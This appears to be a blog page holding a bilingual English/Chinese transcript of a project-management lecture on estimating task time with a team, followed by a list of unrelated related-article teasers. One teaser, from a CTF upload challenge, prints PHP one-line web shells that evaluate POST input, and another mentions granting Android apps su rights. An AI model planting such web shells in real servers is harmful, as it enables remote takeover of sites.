Getting accurate time estimates from your tea(从您的团队获得准确的时间估计)
Hi again.
嗨了。
Ready to get back into it?
准备好重新开始了吗?
Let’s go. Time estimation,
我们走吧。时间估计,
effort estimation,
努力估计,
and capacity planning are all helpful techniques for creating your project schedule.
容量规划都是创建项目时间表的有用技巧。
At the center of all this planning is your team.
所有这些计划的中心是你的团队。
Throughout the schedule-planning process,
在整个计划过程中,
you’re working with teammates to gather estimates,
你和队友一起收集估算数据,
and you’re taking into account each person’s capacity when building the project schedule.
在制定项目进度表时,你要考虑到每个人的能力。
It makes sense to involve your teammates at this stage.
在这个阶段让你的队友参与进来是有意义的。
After all, the person assigned to the given task is likely to have the best sense of how long it will take to complete that task.
毕竟,被分配到给定任务的人可能最清楚完成这项任务需要多长时间。
They’ll also have the best sense of their own capacity for taking on the work.
他们也会对自己承担工作的能力有最好的感觉。
But these conversations are a two-way discussion,
但这些对话是双向的讨论,
and you’ll need to tap into your soft skills to get the most accurate estimate from your team.
你需要利用你的软技能从你的团队中得到最准确的估计。
Soft skills are personal characteristics that help people work effectively with others.
软技能是帮助人们有效地与他人合作的个人特征。
These include crucial communication and interpersonal skills we’ve discussed over the course of this program.
这些包括我们在本课程中讨论过的重要的沟通和人际交往技巧。
Soft skills can be important when trying to understand what might be blocking someone’s ability to do their best work.
在试图理解是什么阻碍了某人把工作做到最好时,软技能是很重要的。
Let’s go over three ways to use soft skills and gather accurate estimates from your teammates.
让我们来看看三种使用软技能的方法,并从你的队友那里收集准确的评估。
These are asking the right questions, negotiating effectively, and practicing empathy.
这些是问正确的问题,有效的谈判和练习同理心。
Let’s start with asking the right questions.
让我们从问正确的问题开始。
Think of conversations around the time estimation as a kind of interview.
把关于时间估计的对话看作是一种面试。
You’re connecting with your teammates to learn more about how they work on specific tasks,
你和你的队友联系,了解他们是如何完成特定任务的,
and you’ll use this information to build your schedule.
你会利用这些信息来制定你的时间表。
To aim to get the most relevant information from these conversations,
为了从这些对话中获得最相关的信息,
you’ll want to be certain that you’re asking effective,
你要确保你的要求是有效的,
open-ended questions that lead to the answers you’re seeking.
开放式的问题,指向你想要的答案。
An open-ended question is a question that cannot be answered with a yes or a no.
开放式问题是一个不能用是或否来回答的问题。
The answer provides the relevant details of what you need to know.
答案提供了您需要知道的相关细节。
Let’s imagine this in the context of your project at Office Green.
让我们想象一下,在你的绿色办公室项目的背景下。
You’ve discussed the design of the new website with your web designer,
你已经和你的网页设计师讨论了新网站的设计,
and you’d like to know how long it will take them to mock up designs for your review.
你想知道他们需要多长时间来模拟设计供你审查。
Now let’s say you start the conversation by asking a question like,
现在假设你通过问这样的问题开始对话,
can you complete the mock-ups in one week?
你能在一周内完成这些模型吗?
This is a closed-ended question and might elicit a simple yes or no answer,
这是一个封闭的问题,可能会得到一个简单的“是”或“不是”的回答,
which doesn’t tell you much about the task of designing a website or about your teammate’s working style.
这并不能告诉你设计网站的任务或你的队友的工作风格。
Now, imagine if you had started this conversation with an open-ended question.
现在,想象一下,如果你以一个开放式的问题开始这个对话。
For example, you might ask the web designer something like,
例如,你可能会问网页设计师,
how long does it typically take you to mock up a website design like this one?
你通常要花多长时间来模拟这样一个网站的设计?
This is an open-ended question and is more likely to elicit a more detailed response. From there,
这是一个开放式的问题,更有可能引出更详细的回答。从那里,
you can ask follow up questions like,
你可以问一些后续问题,比如,
how complex are the steps to complete this task?
完成这项任务的步骤有多复杂?
What are the risks associated with this task?
与此任务相关的风险是什么?
And, when do you think you can have this ready?
你觉得什么时候可以准备好?
By asking your teammates effective,
通过要求你的队友有效,
open-ended questions about their assigned tasks,
关于分配任务的开放式问题,
you can learn more about how they work and what they do.
你可以更多地了解它们的工作原理和功能。
As you have more of these conversations,
当你有更多这样的对话时,
you will develop a better sense of your teammates roles and their tasks,
你会对队友的角色和任务有更好的认识,
and you will be able to rely less on your team to make accurate estimates.
这样你就可以更少地依赖你的团队来做出准确的估计。
Another way to use soft skills to gather estimates from teammates is to negotiate effectively.
使用软技能从队友那里收集评估的另一种方法是进行有效的谈判。
Part of your job as the project manager is to bridge the gap between high-level goals of the project and the day-to-day perspective of your team.
作为项目经理,你的部分工作是在项目的高层目标和团队的日常观点之间架起桥梁。
While your project might be your number one priority,
虽然你的项目可能是你的首要任务,
it’s possible that people on your project team have competing priorities on other teams to keep track of,
有可能你项目团队中的人在其他团队中有相互竞争的优先级要跟踪,
as well. Negotiating effectively can help you influence a team member to make your project their priority,
也。有效的谈判可以帮助你影响团队成员,让他们优先考虑你的项目,
by collaborating to find an outcome that works for everyone.
通过合作找到一个对每个人都有效的结果。
For example, let’s imagine that the website designer estimates it will take them two weeks to mock up the website design for review.
例如,让我们想象一下,网站设计师估计他们需要两周的时间来模拟网站设计以供审查。
But perhaps you were hoping that the estimate might be closer to one week.
但也许你希望估计时间更接近一周。
To arrive at an estimate that works for both you and the designer,
为了得出一个对你和设计师都有效的估计,
you might gently challenge the estimate by asking follow-up questions.
你可以通过问一些后续问题来质疑这个估计。
Perhaps you’d ask if their estimate includes mocking up designs for multiple pages.
也许你会问他们的估计是否包括多个页面的模拟设计。
If so, you might ask if the designer is able to share one or two pages with you sooner than their proposed deadline.
如果是这样,你可以问设计师是否可以在他们提出的截止日期之前与你分享一到两页。
By asking questions,you can determine if their estimate is flexible,
通过提问,你可以确定他们的估计是否灵活,
or if you need to bring in an additional designer to support the schedule.
或者如果你需要额外的设计师来支持你的计划。
By negotiating effectively with your teammates,
通过与你的队友进行有效的谈判
you can create a sense of shared ownership over the project outcomes and create a schedule that aligns with everyone’s workload.
您可以创建一种共享项目成果的感觉,并创建一个与每个人的工作量相一致的时间表。
Now let’s discuss the value of practicing empathy.
现在我们来讨论练习同理心的价值。
Empathy refers to a person’s ability to relate to the thoughts and feelings of others.
同理心是指一个人与他人的想法和感受相联系的能力。
Practicing empathy at work can be a very effective way to build trust with your team.
在工作中练习同理心是与团队建立信任的一种非常有效的方式。
Your teammates are humans,
你的队友是人类,
and each person can only do so much.
每个人只能做这么多。
When you’re discussing estimates with the team,
当你和团队讨论评估时,
you might practice empathy by asking each person about their workload,
你可以通过询问每个人的工作量来练习同理心,
including work outside of your project and the overall work-life balance.
包括项目之外的工作和整体的工作与生活平衡。
You might also ask if they’ve scheduled vacation or leave during the duration of the project,
你也可以问他们是否在项目期间安排了假期或离开,
or if there are crucial holidays in which they won’t be working.
或者如果有重要的节日他们不工作。
This can help you avoid assigning tasks when teammates are unable to complete them on time.
这可以帮助您避免在队友无法按时完成任务时分配任务。
For example, the web designer might tell you that they’re also designing a website for another team at Office Green,
例如,网页设计师可能会告诉你,他们也在为Office Green的另一个团队设计一个网站,
and that the timeline for both projects overlap.
而且这两个项目的时间表重叠。
So, to avoid overloading your designer with work,
所以,为了避免设计师的工作负担过重,
you might work with the other project manager to balance workloads across the teams.
您可能会与其他项目经理一起工作,以平衡团队之间的工作量。
People like to feel their work is valued,
人们喜欢感觉自己的工作受到重视,
so part of empathy is remembering to always be appreciative of the work,
所以移情的一部分是记住要永远感激工作,
collaboration, and support that you’re getting from the team.
协作,以及你从团队中得到的支持。
So, to recap, asking the right questions,
总结一下,问对问题,
negotiating effectively,
有效的谈判,
and practicing empathy can help you get viable,
练习同理心可以帮助你生存下去,
accurate estimates from your teammates about project tasks.
团队成员对项目任务的准确估计。
Coming up, we will discuss putting these estimates to good use in the project plan.
接下来,我们将讨论如何在项目计划中充分利用这些评估。
相关文章:
Getting accurate time estimates from your tea(从您的团队获得准确的时间估计)
Hi again. 嗨了。 Ready to get back into it? 准备好重新开始了吗? Let’s go. Time estimation, 我们走吧。时间估计, effort estimation, 努力估计, and capacity planning are all helpful techniques for creating your project schedule. 容量规划都是创建项…...
攻防世界35-easyupload-CTFWeb
攻防世界35-easyupload-CTFWeb 通过各种上传发现,过滤了php后缀和内容中有php的文件 有这几种方式上传一句话木马 <script language"php">eval($_POST[1]);</script> <?php eval($_POST[cmd]);?> <? eval($_POST[cmd]);?>…...
在Mysql中,如何定位慢查询
参考回答:之前我们有个项目做压测的时候有的接口非常的慢,接口的响应时间超过了2秒以上,因为在MySOL中也提供了慢日志查询的功能,可以在MySOL的系统配置文件中开启这个慢日志的功能,并且也可以设置SOL执行超过多少时间…...
CSS教程(三)- CSS 三大特性
1. 层叠性 介绍 多组CSS样式共同作用于一个元素,就会出现 覆盖(层叠) 另一个冲突的样式。 层叠原则 样式冲突:遵循就近原则(哪个样式离结构近,就执行哪个样式) 样式不冲突,就不会重…...
如何保证Redis与MySQL双写一致性
什么是双写一致性问题? 双写一致性主要指在一个数据同时存在于缓存(如Redis)和持久化存储(如MySQL)的情况下,任何一方的数据更新都必须确保另一方数据的同步更新,以保持双方数据的一致状态。这一…...
【IC每日一题:IC验证面试--UVM验证-2】
IC每日一题:IC验证面试--UVM验证-2 2.9 get_next_iterm()和try_next_item()的区别?2.10 一个典型的UVM验证平台,谈一下UVM验证环境结构,各个组件之间的关系?2.11 uvm组件之间通信的方式? analysis_port和其…...
SPIRE: Semantic Prompt-Driven Image Restoration 论文阅读笔记
这是一篇港科大学生在google research 实习期间发在ECCV2024的语义引导生成式修复的文章,港科大陈启峰也挂了名字。从首页图看效果确实很惊艳,尤其是第三行能用文本调控修复结果牌上的字。不过看起来更倾向于生成,对原图内容并不是很复原&…...
#揭秘万维网:从静态页面到智能互联网
揭秘万维网:从静态页面到智能互联网 今天刚上了学校开设的课程,于是便有了下文的思考内容。 在当今数字化时代,Web(万维网)扮演着重要的角色,成为人们获取信息、沟通交流和进行商业活动的主要平台。 1. …...
【计算机基础——数据结构——红黑树】
1. 红黑树(RBTree) 为什么HashMap不直接使用AVL树,而是选择了红黑树呢? 由于AVL树必须保证左右子树平衡,Max(最大树高-最小树高) < 1,所以在插入的时候很容易出现不平衡的情况,一旦这样&…...
Sentinel — 微服务保护
微服务架构将大型应用程序拆分为多个小而独立的服务,每个服务可以独立部署和扩展。然而,微服务系统需要面对的挑战也随之增加,例如服务之间的依赖、分布式环境下的故障传播和安全问题。因此,微服务保护措施是确保系统在高并发、资…...
Cynet:全方位一体化安全防护工具
前言 1999年,布鲁斯施奈尔曾说过:“复杂性是安全最大的敌人。”彼时还是19年前,而现在,网络安全已然变得更加繁杂。 近日我在网上冲浪过程中发现了这么一个平台性质的软件,看似具有相当强的防护能力。 根据Cynet的描…...
python中常见的8种数据结构之一数组的应用
在Python中,数组是一种常见的数据结构,用于存储一系列相同类型的元素。在实际应用中,数组可以用于解决各种问题。 以下是数组在Python中的一些常见应用: 1. 存储和访问数据:数组可以用于存储和访问一组数据。可以通过…...
安装多个低版本谷歌Chrome浏览器用于测试,适配Vue3+vite项目
安装多个低版本谷歌Chrome浏览器用于测试,适配Vue3vite项目 问题:使用vue3tsvite搭建了一个项目,在chrome新版本浏览器上无问题,但是部署到现场页面直接空白,且控制台报错: Uncaugnt SyntaxError: Unexpe…...
UI组件---如何设置el-pagination分页组件的背景色
1. 要替换 el-pagination 组件的背景色,您可以通过自定义CSS来实现。 具体的CSS规则取决于您想要更改的是哪个部分的背景色,例如普通页码、活跃页码、上下导航箭头等。以下是一些示例CSS规则,您可以根据自己的需求进行调整: /* …...
LabVIEW编程过程中为什么会出现bug?
在LabVIEW编程过程中,Bug的产生往往源自多方面原因。以下从具体的案例角度分析一些常见的Bug成因和调试方法,以便更好地理解和预防这些问题。 1. 数据流错误 案例:在一个LabVIEW程序中,多个计算节点依赖相同的输入数据&#…...
论文阅读《Structure-from-Motion Revisited》
摘要 增量式地运动结构恢复是从无序图像集合中进行三维重建的一个普遍策略。虽然增量式地重建系统在各个方面上都取得了巨大的进步,但鲁棒性、准确性、完整度和尺度仍然是构建真正通用管道的关键问题。我们提出了一种新的运动结构恢复技术,它改进了目前…...
RK android14 第三方app获取su权限
需要修改的地方如下 frameworks/base/core/jni/com_android_internal_os_Zygote.cpp kernel-6.1/security/commoncap.c system/core/init/selinux.cpp system/core/libcutils/fs_config.cpp system/extras/su/su.cpp device/rockchip/common/BoardConfig.mk device/rockchip…...
线程与进程的区别(面试)
一.进程 进程:一个程序启动起来,就会对应一个进程,进程就是系统分配资源的基本单位。 上面一部分进程是我们自己去执行应用的可执行文件, 而另一部分是操作系统自动启动的进程. 二.线程 线程:线程是进程中的一个执行单元ÿ…...
OpenDroneMap Webodm
OpenDroneMap & Webodm OpenDroneMap Webodm 开源无人机航拍系列图像及其它系列图像三维重建软件。很棒的开源无人机测绘软件OpenDroneMap,从航拍图像生成精确的地图、高程模型、3D 模型和点云。 应用领域 Mapping & Surveying 测绘和测量 从图像测量获得高精度的可…...
Could not create task ‘:shared_preferences_android:generateDebugUnitTestConfig‘
flutter项目使用shared_preferences库的时候,打开flutter项目中的android项目运行,会出现如下错误信息: A build operation failed. Could not create task :shared_preferences_android:generateDebugUnitTestConfig. Could not create…...
CSS教程(四)- 字体
1、尺寸单位 px 像素单位% 百分比,参照父元素对应属性的值进行计算em 字体尺寸单位,参照父元素的字体大小计算,1em16pxrem字体尺寸单位,参照根元素的字体大小计算,1rem16px 2、字体属性 介绍 CSS Fonts (字体)属性用于定义字体…...
深入理解Java中的Lambda表达式
在Java 8中,Lambda表达式的引入无疑是一个重大的里程碑。 Lambda表达式以其简洁的语法和强大的功能,极大地改变了Java开发者编写代码的方式。本文将深入探讨Lambda表达式的概念、语法、使用场景以及其在函数式编程中的意义。 一、Lambda表达式的基本概…...
C#里怎么样判断一个数是偶数还是奇数
一般是采用取余的做法。 程序如下: /** C# Program to Check whether the Entered Number is Even or Odd*/ using System; using System.Collections.Generic; using System.Linq; using System.Text;namespace check1 {class Program{static void Main(string[]…...
【论文笔记】Prefix-Tuning: Optimizing Continuous Prompts for Generation
🍎个人主页:小嗷犬的个人主页 🍊个人网站:小嗷犬的技术小站 🥭个人信条:为天地立心,为生民立命,为往圣继绝学,为万世开太平。 基本信息 标题: Prefix-Tuning: Optimizin…...
GNN系统学习:消息传递图神经网络
引言 在开篇中我们介绍了,为节点生成节点表征(Node Representation)是图计算任务成功的关键,我们要利用神经网络来学习节点表征。 消息传递范式是一种聚合邻接节点信息来更新中心节点信息的范式,它将卷积算子推广到了…...
基于gewe制作第一个微信聊天机器人
现在我们制作一个微信智能聊天机器人。发送文字它可以回复一段话,或一张图片,是不是有点小酷! 当然,这种智能回复的算法和数据库我们自己肯定是没有的,所以我们借助于gewe框架的开放API接口来完成我们的功能。 请求参…...
【Python】python使用Moviepy库对mp3文件进行剪切,并设置输出文件的码率
【Python】python使用Moviepy库对mp3文件进行剪切,设置输出文件的码率 一、安装Moviepy库二、代码 一、安装Moviepy库 pip install -i https://mirrors.aliyun.com/pypi/simple/ moviepy二、代码 #!/usr/bin/python # -*- coding: UTF-8 -*- from moviepy.editor …...
海外云手机在出海业务中的优势有哪些?
随着互联网技术的快速发展,海外云手机已在出海电商、海外媒体推广和游戏行业都拥有广泛的应用。对于国内的出海电商企业来说,短视频引流和社交平台推广是带来有效流量的重要手段。借助云手机,企业能够更高效地在新兴社交平台上推广产品和品牌…...
这10款PDF转Word在线转换工具的个人使用经历!!
身为现代办公室中的一位经常需要处理各种文件格式的牛马,在PDF和Word之间转换文件是我时常要处理的事。我试过不少PDF转Word的在线工具,前前后后尝试了10款左右的PDF转word转换工具,其中有四大霸主,深深占据了我对这方面的印象。下…...
认识QT以及QT的环境搭建
认识QT 什么是QT? Qt 是⼀个 跨平台的 C 图形⽤⼾界⾯应⽤程序框架 。 认识客户端 现在我们所说的客户端开发其实大致分为三种: 1.网页前端开发。 2.桌面应用开发(电脑的应用层序) 3.移动应用开发。 而我们的QT的主战场就是在…...
怎么做网站文字优化/友情链接外链
如果你一直想学Python,但是不知道如何入手,那就别犹豫了。这篇文章就是为你写的。 疑问 随着数据科学概念的普及,Python这门并不算新的语言火得一塌糊涂。 因为写了几篇用Python做数据分析的文章,经常有读者和学生在留言区问我&…...
网站怎么做维护/百度一下网页版浏览器百度
本篇博客主要为 https://bbs.csdn.net/skill/python 频道练习题模块补充题目,暂定每天提供 5 or 6 道测试题,后面可能会更多哦~。 本篇博客对【进阶语法】→ 【异常捕获预处理】 进行出题。 以下题目,默认将正确答案,放置在选项 A…...
做视频网站怎么赚钱的/展示型网站有哪些
前言 我的第一门语言就是C,但是学艺不精,中途跑去学了C#和Java后,感觉到了C的重要性,毕竟是最接近底层的语言,又跑回来学C。 毕竟前两门的控制语句,变量什么的都是类似的,回到C后只需要学习一…...
株洲专业网站建设品牌/软文写作模板
2019独角兽企业重金招聘Python工程师标准>>> 其实一直想写一篇文章名字都想好了,叫做“程序员该不该理财?”。后来想了想,该不该这个就不用想了,必须要理财!那么市面上那么多理财的方式对于我们屌丝的程序员…...
注册完域名 如何做网站/百度搜索seo优化技巧
Java 语言的设计者认为共享带来的效率远远高于提取、拼接字符串所带来的低效率。 ——Core Java 在之前的学习和使用过程中,遇到过字符串常量池的概念,对于整形,在其源码中也有缓存数组的概念。其实这些类似概念,都是JVM对…...
门户网站建设关系到/色盲测试图免费测试
今天在项目完成后重新编辑解决方案的时候,发现了很多警告信息,具体如下:警告 1 预定义类型“System.Runtime.CompilerServices.ExtensionAttribute”是在全局别名的多个程序集中定义的;将使用“e:\EsstProjects\TrmsPlatform\Clas…...